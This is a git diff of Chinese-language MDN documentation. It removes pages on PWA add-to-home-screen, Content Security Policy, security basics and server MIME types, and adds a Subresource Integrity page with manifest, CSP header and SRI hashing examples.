diff --git "a/files/zh-cn/web/progressive_web_apps/\346\267\273\345\212\240\345\210\260\344\270\273\345\261\217\345\271\225/index.html" "b/files/zh-cn/web/progressive_web_apps/\346\267\273\345\212\240\345\210\260\344\270\273\345\261\217\345\271\225/index.html" deleted file mode 100644 index a0915ea9d2..0000000000 --- "a/files/zh-cn/web/progressive_web_apps/\346\267\273\345\212\240\345\210\260\344\270\273\345\261\217\345\271\225/index.html" +++ /dev/null @@ -1,218 +0,0 @@ ---- -title: 添加到主屏幕 -slug: Web/Progressive_web_apps/添加到主屏幕 -tags: - - PWA - - 图标 - - 服务进程 - - 添加到主屏幕 - - 清单 - - 渐进式Web应用 -translation_of: Web/Progressive_web_apps/Add_to_home_screen ---- -

添加到主屏幕(A2HS)添加到主屏幕(简称A2HS)是现代智能手机浏览器中的一项功能,使开发人员可以轻松便捷地将自己喜欢的Web应用程序(或网站)的快捷方式添加到主屏幕中,以便他们随后可以通过单点访问它。本指南说明了A2HS的使用方式,以及作为开发人员要使您的用户利用A2HS所需做的事情。

- -

为什么选择A2HS?

- -

A2HS被认为是渐进式Web应用程序哲学的一部分—为Web应用程序提供与原生应用程序相同的用户体验优势,因此它们可以在当今的生态系统战争中竞争。这部分是通过访问主屏幕上的应用程序图标来访问应用程序,然后将其整齐地显示在自己的窗口中的简单手势。A2HS使这成为可能。

- -

哪些浏览器支持A2HS?

- -

Mobile Chrome / Android Webview 从31版开始支持A2HS,Opera for Android从32版开始支持,Firefox for Android从58版开始支持。

- -

如何使用?

- -

我们已经编写了一个非常简单的示例网站(观看我们的在线演示,并查看源代码),该网站虽然功能不多,但是开发时使用了必要的代码,也可以将其添加到主屏幕中,并且service worker使其可以脱机使用。这个示例展示了一系列的狐狸图片。

- -

如果您有适用于Android的Firefox,使用它导航到我们的示例:https://mdn.github.io/pwa-examples/a2hs/。你将会看到狐狸图片,但更重要的是,你将会看到一个带有加号(+)的“主页”图标—这是为具有必要功能的任何站点显示的“添加到主屏幕”图标。

- -

- -

点击此按钮将显示一个确认横幅—按下大“+ 添加到主屏幕”按钮即可完成操作,将应用添加到主屏幕。(注意:在Android 8及更高版本中,将首先显示系统级的“添加到主屏幕”权限对话框。)

- -

- -

如果您可以使用Mobile Chrome,则体验会略有不同;加载我们的网站后,您会看到一个弹出安装横幅,询问您是否要将此应用添加到主屏幕。

- -

- -
-

注意:您可以在“Web App安装横幅”一文中找到有关Chrome安装横幅的更多信息。

-
- -

如果您选择不将其添加到主屏幕,则可以稍后使用Chrome主菜单中的添加到主屏幕图标添加。

- -

无论使用哪种浏览器,当您选择将应用程序添加到主屏幕时,您都会看到它与短标题一起出现,就像原生应用程序一样。

- -

- -

点按此图标可以将其打开,但是作为全屏应用程序,您将不再看到其周围的浏览器用户界面。

- -

如何使应用程序支持A2HS?

- -

要将您的应用添加到主屏幕,它需要满足以下条件:

- -
    -
  • 应用通过HTTPs提供服务—Web正朝着更加安全的方向发展,许多现代web技术(包括A2HS)将仅工作在安全的环境中。
  • -
  • 从HTML头链接具有正确字段的manifest文件。
  • -
  • 有合适的图标可显示在主屏幕上。
  • -
  • Chrome浏览器还要求该应用程序注册一个service worker(例如,使其在离线状态下可以运行)。
  • -
- -

Manifest

- -

web manifest 以标准JSON格式编写,应放置在应用程序目录中的某个位置(最好是在根目录中),名称为somefilename.webmanifest(我们选择 manifest.webmanifest)。它包含多个字段,这些字段定义有关Web应用程序及其行为的某些信息。

- -
-

注意:.webmanifest扩展名是在规范的“媒体类型注册”部分中指定的,但通常浏览器将支持带有其他适当扩展名的清单,例如:.json。

-
- -

A2HS所需的字段如下:

- -
    -
  • background_color:指定在某些应用程序上下文中使用的背景色。与A2HS最相关的一个是在点击主屏幕上的应用程序图标并首次开始加载时显示的初始屏幕(当前仅在通过Chrome将应用添加到主屏幕时显示)。
  • -
  • display:指定应如何显示应用。 为了使它看起来像一个独特的应用程序(而不仅仅是网页),您应该选择一个值,例如fullscreen(根本不显示任何UI)或独立standalone(非常相似,但是系统级UI元素(例如状态栏)可能是可见的)。
  • -
  • icons:指定在不同位置(例如,在任务切换器上或更重要的是在主屏幕上)表示应用程序时浏览器使用的图标。 我们的演示中仅包含一个。
  • -
  • name/short_name:这些字段提供了在不同位置表示应用程序时要显示的应用程序名称。name提供完整的应用名称。short_name当没有足够的空间显示全名时,提供一个缩写名称。如果您的应用程序名称特别长,建议您同时提供两者。
  • -
  • start_url:提供启动添加到主屏幕应用程序时应加载的资源的路径。请注意,这必须是一个真相网站主页的相对路径,相对于 manifest的url。 另外,请注意,Chrome在显示安装标语之前需要这样做,而Firefox在显示“含+号的home”图标时并不需要它。
  • -
- -

我们的示例应用程序的manifest如下所示:

- -
{
-  "background_color": "purple",
-  "description": "Shows random fox pictures. Hey, at least it isn't cats.",
-  "display": "fullscreen",
-  "icons": [
-    {
-      "src": "icon/fox-icon.png",
-      "sizes": "192x192",
-      "type": "image/png"
-    }
-  ],
-  "name": "Awesome fox pictures",
-  "short_name": "Foxes",
-  "start_url": "/pwa-examples/a2hs/index.html"
-}
- -

合适的图标

- -

如以上manifest所示,我们包括一个192 x 192像素的图标,供我们的应用使用。您可以根据需要添加更多尺寸;Android将为每个不同的用例选择最合适的尺寸。您还可以决定添加不同类型的图标,以便设备可以使用他们能够使用的最佳图标(例如,Chrome已经支持WebP格式).

- -

请注意,每个图标对象中的 type 成员都指定了该图标的mimetype,因此浏览器可以快速读取该图标的类型,然后将其忽略,并在不支持该图标时采用其他图标。

- -

在设计图标方面,您应该遵循与任何Android图标相同的最佳做法(请参阅Android图标设计指南)。

- -

将HTML链接到manifest

- -

要完成manifest的设置,您需要从应用程序主页的 HTML 中引用它:

- -
<link rel="manifest" href="manifest.webmanifest">
- -

一旦支持 manifest,支持 A2HS 的浏览器就会知道在哪里查找它。

- -

A2HS没有给你什么?

- -

请记住,将应用程序添加到主屏幕时,它只会使该应用程序易于访问—不会将应用程序的资产和数据下载到您的设备上,也不会使该应用程序脱机使用或类似的操作。 为了使你的应用离线运行,你必须使用Service Worker API来离线存储资源,如果需要,还可以使用 Web storage 或 IndexedDB 来存储其数据。

- -

在示例应用程序中,我们仅使用了一个service worker来存储所有必需的文件。service worker使用index.js 文件中的最终的代码块在网站上注册。然后,我们使用 Cache API 缓存网站的所有资产,并使用 sw.js 文件中的代码从缓存而不是网络中为它们提供服务。

- -

桌面上的A2HS

- -

虽然最初旨在改善移动操作系统上的用户体验,但人们也提出了使PWA也可以安装在桌面平台上的趋势。

- -
-

注意:在撰写本文时,仅在较新版本的Chrome(在Windows中默认情况下,在macOS上的#enable-desktop-pwas标志开启后)中支持以下功能。

-
- -

添加安装按钮

- -

为了使PWA可在桌面上安装,我们首先在文档中添加了一个按钮,以允许用户进行安装—桌面应用程序不会自动提供此按钮,并且需要通过用户手势来触发安装:

- -
<button class="add-button">Add to home screen</button>
- -

然后,我们给它一些简单的样式:

- -
.add-button {
-  position: absolute;
-  top: 1px;
-  left: 1px;
-}
- -

用于处理安装的JavaScript

- -

index.js文件的底部,我们添加了一些JavaScript来处理安装。首先,我们声明一个deferredPrompt变量(我们将在后面解释),获得对安装按钮的引用,并初始设置为display: none

- -
let deferredPrompt;
-const addBtn = document.querySelector('.add-button');
-addBtn.style.display = 'none';
- -

我们最初隐藏该按钮是因为PWA必须遵循A2HS标准才能安装。发生这种情况时,支持的浏览器将触发beforeinstallprompt事件。 然后,我们可以使用以下处理程序来处理安装:

- -
window.addEventListener('beforeinstallprompt', (e) => {
-  // Prevent Chrome 67 and earlier from automatically showing the prompt
-  e.preventDefault();
-  // Stash the event so it can be triggered later.
-  deferredPrompt = e;
-  // Update UI to notify the user they can add to home screen
-  addBtn.style.display = 'block';
-
-  addBtn.addEventListener('click', (e) => {
-    // hide our user interface that shows our A2HS button
-    addBtn.style.display = 'none';
-    // Show the prompt
-    deferredPrompt.prompt();
-    // Wait for the user to respond to the prompt
-    deferredPrompt.userChoice.then((choiceResult) => {
-        if (choiceResult.outcome === 'accepted') {
-          console.log('User accepted the A2HS prompt');
-        } else {
-          console.log('User dismissed the A2HS prompt');
-        }
-        deferredPrompt = null;
-      });
-  });
-});
- -

所以我们在这里:

- -
    -
  • 调用{{domxref("Event.preventDefault()")}}以停止Chrome 67及更早版本自动调用安装提示(此行为在Chrome 68中已更改)。
  • -
  • 将事件对象存储在deferredPrompt变量中,以便以后可以用于执行实际安装。
  • -
  • 将按钮设置为display: block,以便它出现在UI中供用户点击。
  • -
  • 设置按钮的click处理程序。
  • -
- -

点击处理程序包含以下步骤:

- -
    -
  • 通过display: none再次隐藏按钮—安装应用程序后将不再需要它。
  • -
  • 使用beforeinstallprompt事件对象(存储在deferredPrompt中)上可用的prompt()方法触发显示安装提示。
  • -
  • 使用userChoice属性响应用户与提示的交互,该属性再次在beforeinstallprompt事件对象上可用。
  • -
  • deferredPrompt设置为null,因为不再需要它。
  • -
- -

So when the button is clicked, the install prompt appears.

- -

- -

如果用户选择安装,则将安装该应用程序(可作为独立的桌面应用程序使用),并且不再显示“安装”按钮(如果已经安装了该应用程序,则将不再触发onbeforeinstallprompt事件)。当您打开应用程序时,它将显示在其自己的窗口中:

- -

- -

如果用户选择“取消”,则应用程序的状态将返回到单击按钮之前的状态。

- -
-

注意:本部分的代码主要来自Pete LaPage的应用安装横幅/添加到主屏幕

-
- -

其他

- - - -
{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}
diff --git a/files/zh-cn/web/security/csp/index.html b/files/zh-cn/web/security/csp/index.html deleted file mode 100644 index 232b502c3f..0000000000 --- a/files/zh-cn/web/security/csp/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: 内容安全策略 (CSP) -slug: Web/Security/CSP -translation_of: Web/HTTP/CSP -translation_of_original: Web/Security/CSP ---- -
{{gecko_minversion_header("2.0")}}
- -

内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注入等攻击。 这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。

- -

尽管内容安全策略在 Firefox 4 中已经包含,使用 X-Content-Security-Policy 头部来实现,但它使用的是过时的 CSP 标准。Firefox 23 包含了更新的 CSP 实现,使用的是 W3C CSP 1.0 标准中描述的没有前缀的 Content-Security-Policy 头部和指令。

- -

内容安全策略主题

- -
-
介绍内容安全策略
-
概述什么是 CSP,以及它如何让你的网站变得更安全。
-
CSP 策略指令
-
CSP 策略指令参考。
-
使用内容安全策略
-
你可以通过配置策略集调整 CSP 的行为。这让你可以按需对个别类型的资源使用宽松或严格的安全策略。这篇文章讲述了如何建立 CSP 和如何激活你网站的 CSP。
-
使用 CSP 违规报告
-
如何使用 CSP 违规报告来监视攻击你网站的尝试和攻击者。
-
默认 CSP 限制 {{obsolete_inline("15.0")}}
-
CSP 强制实施的默认限制的细节
-
- -

另请参阅

- - diff --git a/files/zh-cn/web/security/csp/introducing_content_security_policy/index.html b/files/zh-cn/web/security/csp/introducing_content_security_policy/index.html deleted file mode 100644 index ce27f52be4..0000000000 --- a/files/zh-cn/web/security/csp/introducing_content_security_policy/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: 内容安全策略介绍 -slug: Web/Security/CSP/Introducing_Content_Security_Policy -tags: - - 介绍 - - 内容安全策略 - - 安全 -translation_of: Web/HTTP/CSP -translation_of_original: Web/Security/CSP/Introducing_Content_Security_Policy ---- -

{{ gecko_minversion_header("2") }}

- -

内容安全策略 (CSP)  是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注入等攻击。 这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。

- -

CSP被设计成向后兼容;不支持的浏览器依然可以运行使用了它的服务器页面,反之亦然。不支持CSP的浏览器会忽略它,像平常一样运行,默认对网页内容使用标准的同源策略。如果网站不提供CSP头部,浏览器同样会使用标准的同源策略

- -

开启CSP就如配置您的页面服务来返回Content-Security-Policy HTTP 头部一样简单. (Firefox 23之前的版本使用的是X-Content-Security-Policy ). 查看 Using Content Security Policy 获取如何配置和开启CSP的细节

- -
提示: 内容安全策略标准特点 是一种能被 {{ HTMLElement("meta") }}元素来配置的一种协议,但这种做法仍未被Firefox支持, 支持这种做法是被添加在bug 663570.
- -

减少跨域脚本

- -

CSP的主要目标是减少和报告XSS攻击. XSS攻击利用浏览器对从服务器接受的内容的信任。恶意的脚本在受害的浏览器被执行, 因为浏览器相信内容源,甚至当内容源并不是从它应该来的地方过来的。

- -

CSP使服务器管理员能够通过制定浏览器能够执行的可信赖脚本的域名来减少或者消除由XSS可能出现的矢量。 一个兼容CSP的浏览器将只会执行加载与白名单域名的源文件的脚本,忽略那些其他的脚本(包括内联脚本和事件操控HTML属性)

- -

作为一种最终的保护,想要禁止脚本的站点可以选择全局禁止脚本执行

- -

减少数据包监听攻击

- -

为了重新约束内容被下载的域名, 服务端能够制定那种协议能够被使用;例如(理论上,从安全的立足点来看),一个服务制定所有的内容都通过HTTPS协议来加载

- -
提示:一个完整地数据传输安全策略不单单包括通HTTPS加强数据的传输,还可以使所有cookie带上安全标志并且提供从HTTP页面到对应HTTPS页面的自动重定向。
- -
提示:站点可能也会使用 Strict-Transport-Security HTTP头部来确保浏览器只通过一个加密渠道来连接他们
- -

See also

- - - -

Specification

- -
    -
  • {{ spec("https://dvcs.w3.org/hg/content-security-policy/raw-file/tip/latest.html", "Content Security Policy 1.1 (Editor's Draft)") }}
  • -
  • {{ spec("http://www.w3.org/TR/CSP/", "Content Security Policy 1.0 (Candidate Recommendation)") }}
  • -
- -
-

{{ languages( { "ja": "ja/Introducing_Content_Security_Policy" } ) }}

-
- -

 

diff --git a/files/zh-cn/web/security/csp/using_csp_violation_reports/index.html b/files/zh-cn/web/security/csp/using_csp_violation_reports/index.html deleted file mode 100644 index 2577fa1fde..0000000000 --- a/files/zh-cn/web/security/csp/using_csp_violation_reports/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Using CSP violation reports -slug: Web/Security/CSP/Using_CSP_violation_reports -translation_of: Web/HTTP/CSP -translation_of_original: Web/Security/CSP/Using_CSP_violation_reports ---- -

{{ gecko_minversion_header("2.0") }}{{ draft() }}

- -

CSP其中的一个强大的特性是它为web站点管理员提供了生成和报告详细的站点攻击的描述信息。这些报告通过HTTP的POST请求发送到预先你指定的一个或多个服务器上,这些服务器可以通过 report-uri 策略来制定。发送的报告是JSON格式的,对于非ASCII字符,其使用了默认的JSON UTF-8编码。本文将向你展示如何在你的站点上配置报告,以及报告的格式。

- -

对于支持CSP的浏览器,只要你制定了合法的 report-uri 指令,任何违背该策略的攻击操作都会被浏览器所报告。

- -

开启报告

- -

默认情况下,攻击是不会被报告的。要开启报告模式,你要指定 report-uri 指令,这个指令包含了至少一个用于接收报告的URI:

- -
Content-Security-Policy: default-src self; report-uri http://reportcollector.example.com/collector.cgi
-
- -

然后,你要搭建接受报告的服务器;它可以对报告进行存储和并进行适时的处理。

- -

注意:Firefox 23以前的版本所使用的报告头为 X-Content-Security-Policy。这个头在将来将被废弃。

- -

攻击报告的语法

- -

报告的JSON对象包含了以下的数据:

- -
-
document-uri
-
当前攻击所发生的文档的URI。
-
referrer
-
当前攻击所发生的文档的来源页面的URI。
-
blocked-uri
-
被CSP策略所拦截的资源的URI。如果被拦截资源的URI属于与当前文档不同的来源,则所拦截的资源URI会被削减至只剩scheme,host和port三部分。
-
violated-directive
-
攻击所针对的策略部分的名称
-
original-policy
-
由X-Content-Security-Policy头指定的原始策略。
-
- -

Sample violation report

- -

攻击报告的样例

- -
在CSP规范中,已经有一个样例展示攻击报告。这里我们来看另一个例子。
- -
 
- -
假设有一个页面叫做http://example.com/signup.html. 它使用了一下的策略,它禁止从除cdn.example.com以外的域加载样式表。
- -
-
Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
-
-
- -
signup.html的HTML则像下面这样:
- -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Sign Up</title>
-    <link rel="stylesheet" href="css/style.css">
-  </head>
-  <body>
-    ... Content ...
-  </body>
-</html>
-
- -
看到问题了么?在策略中指明样式表只能从cdn.example.com加载,而这个页面则试图从它本域(http://example.com)下载样式表. 浏览器基于强制CSP的开启,在这个页面被访问时,将以下的报告通过POST请求发送到 http://example.com/_/csp-reports
- -
{
-  "csp-report": {
-    "document-uri": "http://example.com/signup.html",
-    "referrer": "",
-    "blocked-uri": "http://example.com/css/style.css",
-    "violated-directive": "style-src cdn.example.com",
-    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
-  }
-}
-
- -

我们可以看到,这个报告在blocked-uri中包含了错误资源的整个路径。而这并非总是这样。例如,当signup.html试图从http://anothercdn.example.com/stylesheet.css加载css的时候,浏览器只会记录来源(http://anothercdn.example.com)而不会记录完整的路径。CSP规范中对这一行为进行了解释。总结一下,CSP的作用是放置跨域信息的泄露。值得注意的是,规范中的 攻击报告范例 有一处错误(其中blocked-uri应该是"http://evil.example.com")。

- -

更多参考

- - - -
-

{{ languages( { "ja": "ja/Security/CSP/Using_CSP_violation_reports" } ) }}

-
- -

 

diff --git a/files/zh-cn/web/security/information_security_basics/index.html b/files/zh-cn/web/security/information_security_basics/index.html deleted file mode 100644 index d9c1f0769f..0000000000 --- a/files/zh-cn/web/security/information_security_basics/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: 信息安全基础 -slug: Web/Security/Information_Security_Basics -translation_of: Web/Security/Information_Security_Basics ---- -

了解安全基础知识有助于你了解整个Web开发生命周期中安全性的作用和重要性。 这将帮助你避免不必要的不安全软件,使得攻击者利用漏洞获得经济利益或其他恶意用途。以下的文章提供一些基本的Web安全理论和定义。

- -
-
机密性、完整性和可用性
-
描述了信息安全的基本目标,是理解信息安全的基础。
-
漏洞
-
明确主要漏洞策略以及讨论在所有软件中的存在的所有漏洞。
-
威胁 - Threats
-
对主要威胁概念的简单介绍。
-
安全控制 - Security Controls
-
明确主要安全控制策略以及它们潜在的缺点。
-
TCP/IP 安全
-
TCP/IP模型的介绍,还有SSL的教程。
-
- -

相关链接

- - diff --git a/files/zh-cn/web/security/securing_your_site/configuring_server_mime_types/index.html b/files/zh-cn/web/security/securing_your_site/configuring_server_mime_types/index.html deleted file mode 100644 index 577aacfb08..0000000000 --- a/files/zh-cn/web/security/securing_your_site/configuring_server_mime_types/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Properly Configuring Server MIME Types -slug: Web/Security/Securing_your_site/Configuring_server_MIME_types -tags: - - HTTP -translation_of: Learn/Server-side/Configuring_server_MIME_types ---- -

Background

- -

默认情况下,许多web服务器会为那些未知内容类型的文件配置一个默认MIME类型text/plain 或者application/octet-stream 。当一种新的内容类型被创造或者被添加到web服务器上,web管理者在添加它到web服务器配置中可能会失败。主要原因是用户使用Gecko-based 的浏览器,而这种浏览器只相信由web服务器和web应用所发布的MIME类型

- -

What are MIME types?

- -

MIME类型描述了邮件或者web服务器或者web应用中的媒体内容的类型,其目的是为了指导web浏览器对媒体内容的处理和表现。MIME类型的示例如下:

- -
    -
  • text/html  对于一般网页
  • -
  • text/plain 对于一般文本
  • -
  • text/css 对于级联样式表
  • -
  • text/javascript 对于脚本
  • -
  • application/octet-stream 意味着“下载这个文件”
  • -
  • application/x-java-applet 对于 Java applets
  • -
  • application/pdf 对于 PDF 文档
  • -
- -

Technical Background

- -

完整的MIME类型列表可在 IANA | MIME Media Types 查看.

- -

HTTP specification 中定义了能够描述在web中使用的媒体类型的MIME超集。

- -

Why are correct MIME types important?

- -

Example of an incorrect MIME type result 假如web服务器或者应用报告内容的MIME类型不正确,根据HTTP规范,或许发起人想要处理和显示内容通过他所规定的MIME类型,因此web浏览器无法采取任何措施。

- -

对于某些浏览器,例如IE,它尝试允许web服务器对于错误配置通过其源码猜测它可能的正确MIME类型。

- -

这种做法将会避免许多由web管理员他们的错误。因为当内容的MIME类型错误,IE将会用可能正确的MIME类型来继续处理内容。例如你设置一个img的类型为text/plain ,IE可能会设置它为正确的MIME类型images/*

- -

出于安全原因,使用正确的MIME类型的服务内容也是重要的; 恶意内容可能会影响用户的计算机,假装它是一个安全类型文档,实际上不是。

- -
-

注意: 从历史角度, 只要HTML文档请求处理CSS文件 ,Firefox 能够正常加载CSS即使它设置了错误的MIME类型。处于安全原因, {{ gecko("2.0") }} 对于从请求文档不同来源加载的样式表,将不再这样做。如果CSS来自于不同来源,你必须设置它的正确MIME类型 (text/css).

- -

Gecko 1.9.1.11 (Firefox 3.5.11) 和 Gecko 1.9.2.5 (Firefox 3.6.5) 同样实施这种安全措施,但是提高它的实用性。如果样式表中的第一行看起来是一个很好的CSS构造,则存在允许加载的临时启发式算法。在Firefox 4中已经删除了启发式,您必须正确设置text/css 的MIME类型,才能够识别CSS。

-
- -

为何浏览器不应该猜测 MIME 类型

- -

除了违返了HTTP规范,让浏览器去猜测正确的MIME类型是一个差劲的策略。原因如下

- -

失去控制

- -

假如浏览器忽略报告的MIME类型,web管理员和用户不在对内容如何进行处理有发言权了。

- -

例如,面对web开发员的网址可能希望发送某些实例HTML文档,同时通希望能够以 text/html或者 text/plain 的MIME类型进行数据的处理和显示 或者 作为一个源代码。如果浏览器猜测它的正确MIME类型为 text/html 那么开发员不在有权利进行选择了。

- -

安全性

- -

一些内容类型,例如可执行程序,本质上是不安全的。原因是经过规范化的MIME类型都有经过严格规定浏览器如何对这类类型的文件进行操作。一个可执行程序不能够在用户的电脑浏览器上执行,但可以通过弹出会话询问是否下载这个文件

- -

MIME类型猜测导致IE浏览器的安全漏洞(通过利用IE能够将错误的MIME类型 修改为正确的类型)。这绕过了正常的下载对话框,导致InternetExplorer猜测内容是可执行程序,然后在用户的计算机上运行。

- -

如何确定服务器发送内容的 MIME 类型

- -

通过开发者工具的 ContentType 查看MIME类型。

- -

根据标准,通过一个 meta 标签来设置MIME类型 例如 <meta http-equiv="Content-Type" content="text/html"> 当包含{{HTTPHeader("Content-Type")}} 时则忽略 meta 标签

- - - -

如何为你的内容确定正确的 MIME 类型

- -

这里有几种方法来确定文件的正确MIME类型

- -
    -
  1. 如果你的内容是通过供应商软件应用创建的,那么你可以阅读供应商文档确认不同媒体文件的MIME值
  2. -
  3. 通过查看完整的MIME类型表 IANA | MIME Media Types registry 
  4. -
  5. 如果使用插件netscape gecko显示媒体类型,请安装插件,然后查看“帮助”>“关于插件”菜单,以查看哪些MIME类型与媒体类型相关联。
  6. -
  7. 搜索文件扩展名 FILExt 或者File extensions reference ,确认扩展名和哪种类型的MIME相关联
  8. -
- -

如何设置服务器以发送正确的MIME类型

- -

基本的方法是配置你的服务器发送正确的HTTP ContentType类型给每个文档

- -
    -
  • 如果您正在使用Apache Web服务器,只需将此示例.htaccess文件复制到包含要使用正确MIME类型发送的文件的目录中。 如果你有一个完整的文件子目录,只需将文件放在父目录中;您不需要将它放在每个子目录中。
  • -
  • 如果您使用的是Microsoft IIS, 请参阅IANA | MIME Media Types registry这篇文章。
  • -
  • 如果您使用服务器端脚本生成内容,通常可以在脚本顶部附近添加一行。 您可以从Perl,PHP,ASP或Java提供HTML以外的内容 - 只需相应地更改MIME类型即可。 -
      -
    • 对于 Perl CGI,你应该在文档其他行之前输出 print "Content-Type: text/html\n\n";。如果您正在使用CGI模块, 你可以使用 print $cgi->header('text/html');  代替, 其中 $cgi 是对CGI实例的引用。
    • -
    • 对于 PHP,你应该在文档其他行之前输出 header('Content-Type: text/html');
    • -
    • 对于 ASP, 你应该在文档其他行之前输出response.ContentType = "text/html";
    • -
    • 对于 Java servlet, 你需要在doGet 或 doPost 方法之前输出response.setContentType("text/html"); ,其中 response 是对 HttpServletResponse的引用。
    • -
    -
  • -
- - - - - -
-

Original Document Information

- -
    -
  • Author: Bob Clary, date: 20 Feb 2003
  • -
-
diff --git a/files/zh-cn/web/security/subresource_integrity/index.html b/files/zh-cn/web/security/subresource_integrity/index.html new file mode 100644 index 0000000000..86c80188c0 --- /dev/null +++ b/files/zh-cn/web/security/subresource_integrity/index.html @@ -0,0 +1,199 @@ +--- +title: Subresource Integrity +slug: Web/Security/子资源完整性 +tags: + - CORS + - SRI + - Security + - Subresource Integrity + - 子资源完整性 +translation_of: Web/Security/Subresource_Integrity +--- +

子资源完整性(SRI)是允许浏览器检查其获得的资源(例如从 CDN 获得的)是否被篡改的一项安全特性。它通过验证获取文件的哈希值是否和你提供的哈希值一样来判断资源是否被篡改。

+ +

SRI 如何工作

+ +

使用 {{Glossary("CDN", "内容分发网络 (CDNs)")}} 在多个站点之间共享脚本和样式表等文件可以提高站点性能并节省带宽。然而,使用CDN也存在风险,如果攻击者获得对 CDN 的控制权,则可以将任意恶意内容注入到 CDN 上的文件中 (或完全替换掉文件)
+ ),因此可能潜在地攻击所有从该 CDN 获取文件的站点。

+ +

子资源完整性通过确保 Web 应用程序获得的文件未经第三方注入或其他任何形式的修改来降低这种攻击的风险。

+ + + +
+

Note: SRI并不能规避所有的风险。第三方库经常会自己请求额外的信息,这就有可能会携带用户的账号密码等关键信息。这些经常需要js功能的支持,比如一个地图库会需要取<svg>数据来渲染,但是包含点击事件。

+
+ +

如何使用 SRI

+ +

将使用 base64 编码过后的文件哈希值写入你所引用的 {{HTMLElement("script")}} 或 {{HTMLElement("link")}} 标签的 integrity 属性值中即可启用子资源完整性功能。

+ +

integrity 值分成两个部分,第一部分指定哈希值的生成算法(目前支持 sha256、sha384 及 sha512),第二部分是经过 base64 编码的实际哈希值,两者之间通过一个短横(-)分割。

+ +
+

integrity 值可以包含多个由空格分隔的哈希值,只要文件匹配其中任意一个哈希值,就可以通过校验并加载该资源。

+
+ +

使用 base64 编码 sha384 算法计算出摘要后的 integrity 值的例子:

+ +
sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC
+
+ +

oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC 即哈希值部分,sha384 前缀说明使用的是 sha384 哈希方法。

+ +
+

integrity 中的“hash”部分,严格来说,是一种经过特定的哈希函数转换之后的密码学摘要。但是更一般的叫法就是哈希,本文用的也是这种叫法。

+
+ +

生成 SRI 哈希的工具

+ +

你可以用 openssl 在命令行中执行如下命令来生成 SRI 哈希值:

+ +
cat FILENAME.js | openssl dgst -sha384 -binary | openssl enc -base64 -A         
+ +

或者用 shasum 在命令行中执行:

+ +
shasum -b -a 384 FILENAME.js | xxd -r -p | base64
+ +

另外,SRI Hash Generator 是一个在线生成 SRI 哈希值的工具。

+ +

内容安全策略及子资源完整性

+ +

你可以根据内容安全策略来配置你的服务器使得指定类型的文件遵守 SRI。这是通过在 CSP 头部添加 {{CSP("require-sri-for")}} 指令实现的:

+ +
Content-Security-Policy: require-sri-for script;
+ +

这条指令规定了所有 JavaScript 都要有 integrity 属性,且通过验证才能被加载。

+ +

你也可以指定所有样式表也要通过 SRI 验证:

+ +
Content-Security-Policy: require-sri-for style;
+ +

你也可以对两者都加上验证。

+ +

范例

+ +

在这个例子中,我们已知 oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC 是一个指定文件,比如 example-framework.js,经过 SHA-384 算法得出的摘要,同时在 https://example.com/example-framework.js 上有其一份拷贝。

+ +

在 script 标签中增加 SRI

+ +

你可以使用以下的 {{HTMLElement("script")}} 元素告诉浏览器在执行 https://example.com/example-framework.js 中的内容之前,必须先比较该文件的哈希值是否和预期的一致,只有一致才能执行。

+ +
<script src="https://example.com/example-framework.js"
+        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
+        crossorigin="anonymous"></script>
+ +
+

有关 crossorigin 属性的更多信息,见 CORS settings attributes.

+
+ +

浏览器如何处理 SRI

+ +

浏览器根据以下步骤处理 SRI:

+ +
    +
  1. 当浏览器在  {{HTMLElement("script")}} 或者 {{HTMLElement("link")}}  标签中遇到 integrity 属性之后,会在执行脚本或者应用样式表之前对比所加载文件的哈希值和期望的哈希值。
  2. +
  3. 当脚本或者样式表的哈希值和期望的不一致时,浏览器必须拒绝执行脚本或者应用样式表,并且必须返回一个网络错误说明获得脚本或样式表失败。
  4. +
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Subresource Integrity')}}{{Spec2('Subresource Integrity')}}
{{SpecName('Fetch')}}{{Spec2('Fetch')}}
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
The integrity attribute for <script> and <link>{{ CompatChrome("45.0") }}{{ CompatGeckoDesktop("43") }}{{CompatNo}}{{CompatOpera("32")}}{{CompatNo}} [1]
The CSP {{CSP("require-sri-for")}} directive{{CompatUnknown}}{{ CompatGeckoDesktop("49") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
The integrity attribute for <script> and <link>{{ CompatChrome("45.0") }}{{CompatGeckoMobile("43")}}{{CompatNo}}{{CompatNo}}{{CompatNo}} [1]
The CSP {{CSP("require-sri-for")}} directive{{CompatUnknown}}{{CompatGeckoMobile("49")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] {{WebKitBug(148363)}}

+ +

[2] 位于 security.csp.experimentalEnabled 之后的是: config preference。

+ +

相关资料

+ + + +

